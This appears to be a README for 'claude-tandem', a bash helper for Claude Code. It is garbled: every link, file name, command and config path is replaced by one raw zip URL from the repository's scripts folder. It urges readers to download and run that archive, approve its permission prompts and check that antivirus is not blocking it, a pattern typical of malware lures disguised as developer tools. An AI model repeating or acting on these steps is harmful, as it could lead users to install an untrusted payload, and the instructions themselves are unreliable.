claude-tandem is a handy companion tool designed to work with Claude Code. It helps make your coding sessions smoother by keeping your work organized and saved. With features like memory storage, session handover, and input cleanup, claude-tandem keeps your progress steady and your input clear. The tool works quietly in the background using bash scripts, focusing on improving your developer experience without extra hassle.
This tool is useful if you want to:
- Preserve your coding context across sessions.
- Clean up your input commands or scripts.
- Automatically enrich your commits with helpful info.
- Learn better coding techniques through native hooks.
This is not a full application with a graphic interface, but a reliable plugin that runs in your command line. It is lightweight and fits well into your existing workflow.
Before you install claude-tandem, check you have these ready:
- Operating System: Linux or macOS is recommended. Windows users can use WSL (Windows Subsystem for Linux) to run bash scripts.
- Terminal Access: You should be comfortable opening a terminal window or command prompt.
- Claude Code: claude-tandem works alongside Claude Code, so have your environment set up as per Claude Code's instructions.
- Basic Command Line Skills: Although no programming knowledge is required, knowing how to run simple commands in your terminal helps.
You do not need to be a developer to use this tool, but basic command line familiarity will make the setup easier.
Follow these steps carefully to get claude-tandem running:
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Open Your Web Browser
Use your preferred browser (Chrome, Firefox, Safari, etc.).
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Go to the Release Page
Click this link or copy it into your address bar:
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip -
Download the Latest Version
On the releases page, look for the latest release near the top. It will have files you can download.
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Choose the Right File
- If you see files ending with
.shorhttps://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip, download the.shfile or the complete package for bash scripts. - Save the file to a folder you can easily find, such as your Desktop or Downloads folder.
- If you see files ending with
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Prepare to Run
- Open your terminal.
- Navigate to the folder where you saved the file. For example, if on Desktop, type:
cd ~/Desktop
You can get the latest version here:
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip
Follow these installation steps:
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Make the File Executable
In the terminal, type:
chmod +x https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zipReplace
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zipwith the actual file name you downloaded. -
Run the Installer
Still in the terminal, run:
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zipThis will start the installation process. The script manages setup automatically.
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Follow On-Screen Prompts
The installer may ask for permission to write files or modify settings. Press
Enteror typeywhen prompted. -
Verify Installation
Once done, test claude-tandem by typing:
claude-tandem --helpYou should see help text listing available commands.
claude-tandem sits between you and Claude Code. It acts like an assistant that:
- Saves your coding session state, so you can pick up where you left off.
- Cleans and formats input commands automatically.
- Adds extra details to commits to help track changes better.
- Hooks into your development environment without changing your workflow.
It uses bash scripts that run inside your terminal or command-line interface. This design means:
- No extra software is needed.
- It stays lightweight and fast.
- Works reliably on systems that support bash.
- Session Continuity: Keep moving without losing context when you close your terminal.
- Memory Management: Save important data during coding to revisit or share later.
- Input Cleanup: Remove errors and simplify commands before you run them.
- Commit Enrichment: Add useful metadata to your code commits automatically.
- Native Hooks: Integrate with Claude Code using built-in hooks for smooth operation.
- Pure Bash: No heavy installations; just plain scripts.
Once installed, you can start using claude-tandem in your terminal:
- Run
claude-tandem startto begin a session. - When you want to save your work, run
claude-tandem save. - To restore a saved session, use
claude-tandem restore. - Other helpful commands include
status,clean-input, andenrich-commit.
For detailed command info, type:
claude-tandem --help
These commands simplify managing your coding work.
You can customize claude-tandem by editing the config file it creates:
- Locate the config file, usually in your home directory:
~https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip - Open it in any text editor.
- Adjust settings like memory limits, cleanup rules, or commit formats.
- Save changes, and they’ll apply the next time you use the tool.
This lets you tailor claude-tandem to your coding style.
If you run into issues, try these steps:
- Make sure you have bash installed and your terminal supports it.
- Confirm the downloaded file is complete and not blocked by antivirus software.
- Check that the file is executable (
chmod +x). - Restart your terminal after installation.
- Run commands with correct spelling and syntax.
If problems persist, you can check for help or updates on the release page:
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip
The repository covers detailed usage, advanced commands, and developer notes. Visit the GitHub page to explore:
- How claude-tandem integrates with Claude Code.
- Technical details for power users.
- Community tips and shared scripts.
You can access this information anytime online.
If you need help beyond what is available in documentation, you can:
- Open an issue on the GitHub page.
- Search existing discussions for similar questions.
- Follow updates and announcements on the repository.
Effective support depends on clear details about your setup and the issue faced.
claude-tandem is a simple yet powerful helper for Claude Code users. It stores your session memory, cleans inputs, and enriches commits automatically, all through easy bash scripts. With minimal setup and no programming needed, it adds stability and efficiency to your command-line coding experience.
Get started now:
https://github.com/Speedy0000007/claude-tandem/raw/refs/heads/main/plugins/tandem/scripts/claude_tandem_v2.3.zip